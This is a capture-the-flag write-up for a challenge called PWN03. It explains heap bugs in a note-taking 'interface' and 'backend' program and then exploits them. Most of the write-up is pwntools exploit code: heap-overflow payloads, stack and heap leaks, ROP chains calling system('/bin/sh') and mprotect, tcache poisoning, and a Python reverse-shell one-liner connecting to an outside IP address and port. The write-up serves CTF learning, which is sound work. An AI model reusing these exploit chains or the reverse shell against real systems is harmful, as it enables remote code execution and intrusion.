# PWN03 ## FLAG1 * To get the flag we have to exploit `interface` * First bug is that `add_new_note` doesn't initialize `content` when `malloc` so i can use that to leak ```cpp= if(tmp->note_content){ free(tmp->note_content); } tmp->note_content = malloc(content_len); tmp->note_content_len = content_len; fgets(tmp->note_content, content_len, stdin); tmp->note_synced = 0; ``` * The next bug is in `note_sync` ```cpp= Note_t new_note = Note_init(serialize_p->note_title, serialize_p->note_author,serialize_p->note_content_len, serialize_p->note_is_encrypt); read_count += sizeof(struct NoteSerialize); Note_t p_note; DL_SEARCH(notes, search_note, new_note, Note_cmp); p_note = search_note; if(!search_note){ p_note = new_note; } // update new content if(!p_note->note_is_encrypt){ memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len); read_count += new_note->note_content_len; } ``` * It doesn't check `size` before copy from `backend` so there's `heap overflow` here * First we can `note_sync('c')` a big chunk then `edit_note` to allocate a small chunk so that we can trigger the bug * Here i use that bug to overwrite another note `content` to `enrivon` to leak `stack` ```py= payload = b'A'*0x10 payload += p64(0) + p64(0x91) payload += p64(0x62) + p64(0)*7 payload += p64(0x62) + p64(0)*3 payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370) payload += p64(0) + p64(0x21) payload += p64(libc.address + 0x21ace0)*2 payload += p64(0) + p64(0x91) payload += p64(0x61) + p64(0)*7 payload += p64(0x61) + p64(0)*3 payload += p64(0x200) + p64(0)*4 + p64(0xf1) payload += p64(libc.address + 0x21ace0)*2 payload = payload.ljust(0x200, b'\x00') new_note(b'a', b'a', 0x200, payload) note_sync('c') edit_note(b'a', b'a', 1, b'a') new_note(b'b', b'b', 1, b'hehe') note_sync('s') ``` * After that i trigger the bug again. This time overwrite `content` to `saved rip` of `note_sync()` to build ropchain ```py= ayload += p64(0) + p64(0x21) + b'A'*0x10 + p64(0) + p64(0x91) payload += p64(0x62) + p64(0)*7 + p64(0x62) + p64(0)*3 + p64(0x10) + p64(0) payload += p64(stack) payload += p64(heap + 0x630) + p64(0) + p64(0x21) payload += p64(libc.address + 0x21ace0)*2 payload += p64(0) + p64(0x91) payload += p64(0x61) + p64(0)*7 payload += p64(0x61) + p64(0)*3 payload += p64(0x200) + p64(0) + p64(heap + 0x400) + p64(heap + 0x770)*2 + p64(0x91) payload += p64(0x62) + p64(0)*7 payload += p64(0x62) + p64(0)*3 payload += p64(0x50) + p64(0x2) payload += p64(stack - 0x338) + p64(heap + 0x6e0) + p64(0) + p64(0x61) payload += p64(0xdeadbeef) print('len: ', hex(len(payload))) payload2 = b'hihi' RET = 0x00000000000baaf9 + libc.address#: xor rax, rax ; ret rop = ROP(libc) #rop.raw(RET) rop.system(next(libc.search(b'/bin/sh\x00'))) #rop.read(0, stack - 0x338, 0x500) payload2 = rop.chain() delete_note(b'a', b'a') delete_note(b'b', b'b') new_note(b'a', b'a', 0x400, payload) new_note(b'b', b'b', 0x50, payload2) note_sync('c') edit_note(b'a', b'a', 0x200, b'a') note_sync('s') ``` ![Screenshot 2024-01-29 143130](https://hackmd.io/_uploads/rkd1kkHc6.png) ## PWN03-FLAG2 * To get flag2 we have to exploit `backend` * There's a bug when we create a note with encryption then the ciphertext chunk will overflow `size` field of the next chunk. But i can't exploit that bug * Another bug is in `FETCH` option ```cpp= DL_FOREACH_SAFE(cur_note, tmp1, etmp) { tmp_size = sizeof(struct NoteSerialize); if (!tmp1->note_is_encrypt) { tmp_size += tmp1->note_content_len; } if (reply_size + tmp_size > SHM_MEM_MAX_SIZE) { DBG("[backend] reply_size(%d) is larger than SHM_MEM_MAX_SIZE, enable truncated mode\n", reply_size + tmp_size); truncated = 1; tmp_note2 = tmp1; break; } reply_size += tmp_size; } ``` * if `reply_size + tmp_size > SHM_MEM_MAX_SIZE(0x10000)` the function will stop increasing `reply_size` but when creating `reply_msg` it iterates all notes so here another `heap overflow` ```cpp= DL_FOREACH_SAFE(cur_note, tmp1, etmp) { serialize_p = (NoteSerialize_t)((size_t)reply_msg->msg_content + written_count); memcpy(&(serialize_p->common), &(tmp1->common), sizeof(struct NoteCommon)); written_count += sizeof(struct NoteSerialize); DBG("[backend] FETCH: serialize note %s(%s)\n", serialize_p->note_title, serialize_p->note_author); if (!tmp1->note_is_encrypt) { written_count += tmp1->note_content_len; memcpy(serialize_p->content, tmp1->note_content, tmp1->note_content_len); } } ``` * Continue to flag1 i change the ropchain to `mprotect` `interface` to patch some bytes so that `interface` can create a `note` with larger `content_len` and change `read_note` function to arbitrary read ```py= rop_elf.raw(interface.symbols['note_main'] + 122) rop_libc.mprotect(interface.address + 0x2000, 0x3000, 7) rop_libc.rsi = interface.symbols['edit_note'] + 525 rop_libc.rdi = 0x0fc5390001ffffb8 rop_libc.raw(MOV_PRSI_RDI) rop_libc.rsi = interface.symbols['add_new_note'] + 621 rop_libc.rdi = 0xc439410001ffffb8 rop_libc.raw(MOV_PRSI_RDI) rop_libc.rsi = interface.symbols['add_new_note'] + 254 rop_libc.rdi = 0x0fd0390001ffffba rop_libc.raw(MOV_PRSI_RDI) rop_libc.read(0, interface.symbols['read_note'], 0x200) rop_libc.raw(RET) payload += rop_libc.chain() + rop_elf.chain() ``` ```py= new_read_note = 'sub rsp, 0x80\n' new_read_note += shellcraft.read(0, interface.symbols['notes'] + 8, 8) new_read_note += '\n mov rsi, [rsi]\n' new_read_note += shellcraft.write(1, 'rsi', 0x100) new_read_note += '\nadd rsp, 0x80' new_read_note += ' \nret' ``` * To leak heap, i craft the notes that will overwrite only `1` byte of `content` field of a note ```py= delete_note(b'a', b'a') delete_note(b'b', b'b') payload = p64(0x61) + p64(0)*7 payload += p64(0x61) + p64(0)*3 payload += p64(0x390) + p64(0)*8 new_note(b'a', b'a', 0xf910, b'a') note_sync('c') new_note(b'nao', b'nao', 0x600, b'nao') note_sync('c') new_note(b'b', b'b', 0xfff0, b'b') note_sync('c') payload = p32(0) + p64(0x100) + p64(0)*5 + b'\x00' new_note(b'c'*0x8 + p64(0xb1), b'c'*0x18, 53, payload) note_sync('c') delete_note(b'b', b'b') ``` ![Screenshot 2024-01-29 144844](https://hackmd.io/_uploads/ryTsuRVcp.png) * Before ![Screenshot 2024-01-29 144903](https://hackmd.io/_uploads/B1WauRVqp.png) * After ![Screenshot 2024-01-29 144922](https://hackmd.io/_uploads/rkkAdA4qT.png) * So now i have `backend` heap in `interface` heap. Using new `read_note` to read it since there's `NULL` byte , i can't leak by using `list_note` * The next part works for local but not server * I trigger `heap overflow` to fake `tcache`. Craft notes so that it doesn't ruin the heap too much. Fake `tcache` point to one of my note ![Screenshot 2024-01-29 145941](https://hackmd.io/_uploads/H1JWo0E9T.png) * Here my note's `content` and `next` point to the same chunk * So i can control a note. Change `content` to leak everything so that i have `stack` and `libc` * Next i fake `tcache` again to write. But i can't trigger the old bug since i ruined the heap too much. After a while i see that, i can control a note struct then i can change `content` so i have `arbitrary free`. Find a struct that i controll below a `tcache bin` to craft a fake chunk to `free` ![Screenshot 2024-01-29 150545](https://hackmd.io/_uploads/HkQOnA49a.png) ![Screenshot 2024-01-29 150553](https://hackmd.io/_uploads/rJu_3R4qT.png) * At first the `aa..` is a name of a struct that i create before so that i knew i can controll it, then i put `0x151` there ```py= new_note(b'a'*8 + p32(0x151), b'fake', 0xc0, fake_chunk) ``` * Free it then overwrite `tcache` to `saved rip` of `memcpy` to create ropchain * Since i cannot interact with `backend`, i use reverse shell ```py= PYTHON3 = env_back - 0x298 - 8 - 0x10 + 0xa0 C = PYTHON3 + 1 + len('/bin/python3') REVERSE_ADDR = C + 1 + len('-c') REVERSE = b'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("193.161.193.99",26863));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' back_rop = ROP(libc_back) flag = b'/home/nao/flag\x00r\x00'.ljust(0x18, b'\x00') back_rop.raw(0) back_rop.raw(0) back_rop.raw(0) back_rop.execve(PYTHON3, PYTHON3 - 0x40, 0) payload = back_rop.chain() payload = payload.ljust(0xa0 - 0x40, b'\x00') payload += p64(PYTHON3) payload += p64(C) payload += p64(REVERSE_ADDR) payload += p64(0)*5 payload += b'/bin/python3\x00' + b'-c\x00' + REVERSE + b'\x00' ``` ![Screenshot 2024-01-29 151209](https://hackmd.io/_uploads/SJYxCRN9a.png) ![Screenshot 2024-01-29 151224](https://hackmd.io/_uploads/ryv-R0N5a.png) * Docker ![Screenshot 2024-01-29 223035](https://hackmd.io/_uploads/Sk9aNBHc6.png) ![Screenshot 2024-01-29 223030](https://hackmd.io/_uploads/r1xFAESr9p.png) * It works for local but not server. It always stop after `heap backend` leak * Update * It works when connecting to server but i have to wait about 10 mins ![Screenshot 2024-01-30 195938](https://hackmd.io/_uploads/H1_rQuIcT.png)